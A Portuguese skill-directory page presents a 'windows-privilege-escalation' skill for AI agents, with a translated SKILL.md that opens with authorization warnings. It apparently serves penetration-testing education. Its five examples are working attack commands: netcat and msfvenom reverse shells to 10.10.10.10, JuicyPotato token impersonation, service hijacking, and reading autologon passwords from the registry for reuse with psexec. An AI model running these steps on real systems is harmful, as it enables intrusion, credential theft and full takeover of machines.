Pular para o conteúdo
Skillpedia
Segurança48 mil · #4573

windows-privilege-escalation

Ensina seu agente de IA a testar o código e achar erros antes dos usuários e proteger aplicações contra ataques.

O que ela faz

Esta ferramenta ajuda a encontrar e usar falhas de segurança em sistemas Windows para obter mais privilégios. É como encontrar uma chave mestra para acessar áreas restritas de um computador.

Quando usar

  • ✓Para testar a segurança de um sistema com permissão.
  • ✓Para validar defesas contra invasores.
  • ✓Para aprender sobre segurança em um ambiente controlado.

Exemplo do que pedir para a IA

“Como posso verificar se um serviço no Windows pode ser explorado para ganhar privilégios de administrador?”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/windows-privilege-escalation/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/windows-privilege-escalation/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta usa comandos específicos do Windows para procurar por configurações fracas ou erros. Se encontrar uma falha, ela pode tentar usá-la para executar comandos com permissões mais altas.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill windows-privilege-escalation

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/windows-privilege-escalation/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.

Escalação de Privilégios no Windows

Guia Detalhado

Leia o guia detalhado antes de executar esta habilidade. Ele contém o procedimento completo e material de referência. Trate seus requisitos de segurança, pré-requisitos e validação como obrigatórios. Para trabalho focado, carregue as seções relevantes; para trabalho de ponta a ponta, leia o guia completamente.

Restrições e Limitações

Limites Operacionais

  • Exploits de kernel podem causar instabilidade no sistema
  • Alguns exploits exigem versões específicas do Windows
  • AV/EDR podem detectar e bloquear ferramentas comuns
  • A personificação de token requer contexto de conta de serviço
  • Algumas técnicas exigem acesso à GUI

Considerações de Detecção

  • O despejo de credenciais aciona alertas de segurança
  • A modificação de serviço é registrada nos Logs de Eventos
  • A execução do PowerShell pode ser monitorada
  • Assinaturas de exploits conhecidos detectadas por AV

Requisitos Legais

  • Teste apenas sistemas com autorização por escrito
  • Documente todas as tentativas de escalonamento
  • Evite interromper sistemas de produção
  • Relate todas as descobertas através dos canais apropriados

Exemplos

Exemplo 1: Exploração do Caminho do Binário do Serviço

# Find vulnerable service
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# Result: RW MyService SERVICE_ALL_ACCESS

# Check current config
sc qc MyService

# Stop service and change binary path
sc stop MyService
sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc start MyService

# Catch shell as SYSTEM

Exemplo 2: Exploração do AlwaysInstallElevated

# Verify vulnerability
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both return: 0x1

# Generate payload (attacker machine)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi

# Transfer and execute
msiexec /quiet /qn /i C:\Users\Public\shell.msi

# Catch SYSTEM shell

Exemplo 3: Personificação de Token do JuicyPotato

# Verify SeImpersonatePrivilege
whoami /priv
# SeImpersonatePrivilege Enabled

# Run JuicyPotato
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

# Catch SYSTEM shell

Exemplo 4: Caminho de Serviço Não Citado

# Find unquoted path
wmic service get name,pathname | findstr /i /v """
# Result: C:\Program Files\Vuln App\service.exe

# Check write permissions
icacls "C:\Program Files\Vuln App"
# Result: Users:(W)

# Place malicious binary
copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"

# Restart service
sc stop "Vuln App"
sc start "Vuln App"

Exemplo 5: Coleta de Credenciais do Registro

# Check for auto-logon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# DefaultUserName: Administrator
# DefaultPassword: P@ssw0rd123

# Use credentials
runas /user:Administrator cmd.exe
# Or for remote: psexec \\target -u Administrator -p P@ssw0rd123 cmd

Quando Usar

Esta habilidade é aplicável para executar o fluxo de trabalho ou as ações descritas na visão geral.

Perguntas frequentes

Preciso de permissão para usar esta ferramenta?

Sim, você precisa de permissão escrita explícita do dono do sistema. Usar sem permissão é ilegal.

Essa ferramenta pode danificar meu sistema?

Algumas técnicas podem causar instabilidade no sistema. É recomendado usar em ambientes de teste ou com muito cuidado.

O que são 'privilégios' em um computador?

Privilégios são como níveis de acesso. Ter mais privilégios significa que você pode fazer mais coisas no sistema, como instalar programas ou acessar arquivos restritos.

Detalhes

Descrição original do autor

Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements.

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#4573
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas